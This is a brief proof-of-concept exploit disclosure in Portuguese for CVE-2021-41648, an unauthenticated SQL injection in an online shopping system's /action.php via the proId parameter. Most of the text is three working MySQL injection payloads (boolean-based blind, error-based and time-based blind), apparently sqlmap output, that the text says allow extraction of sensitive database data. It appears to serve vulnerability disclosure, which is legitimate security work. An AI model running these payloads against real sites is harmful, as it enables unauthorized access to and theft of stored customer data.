
Exploit de prova de conceito para injeção SQL não autenticada no online-shopping-system através do parâmetro proId, permitindo extração de dados do banco de dados MySQL.
CVE-2021-41648 Injeção SQL no sistema de compras online
O sistema de compras online é vulnerável a ataques de injeção SQL cegos baseados em erro/booleano e baseados em erro, sem autenticação.
O parâmetro proId na página /action.php não sanitiza a entrada do usuário, um atacante pode extrair dados sensíveis do banco de dados MySQL subjacente.
URL: /action.php
PARÂMETRO: proId
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

Jason Colyvas
MOBIUSBINARY
21 de setembro de 2021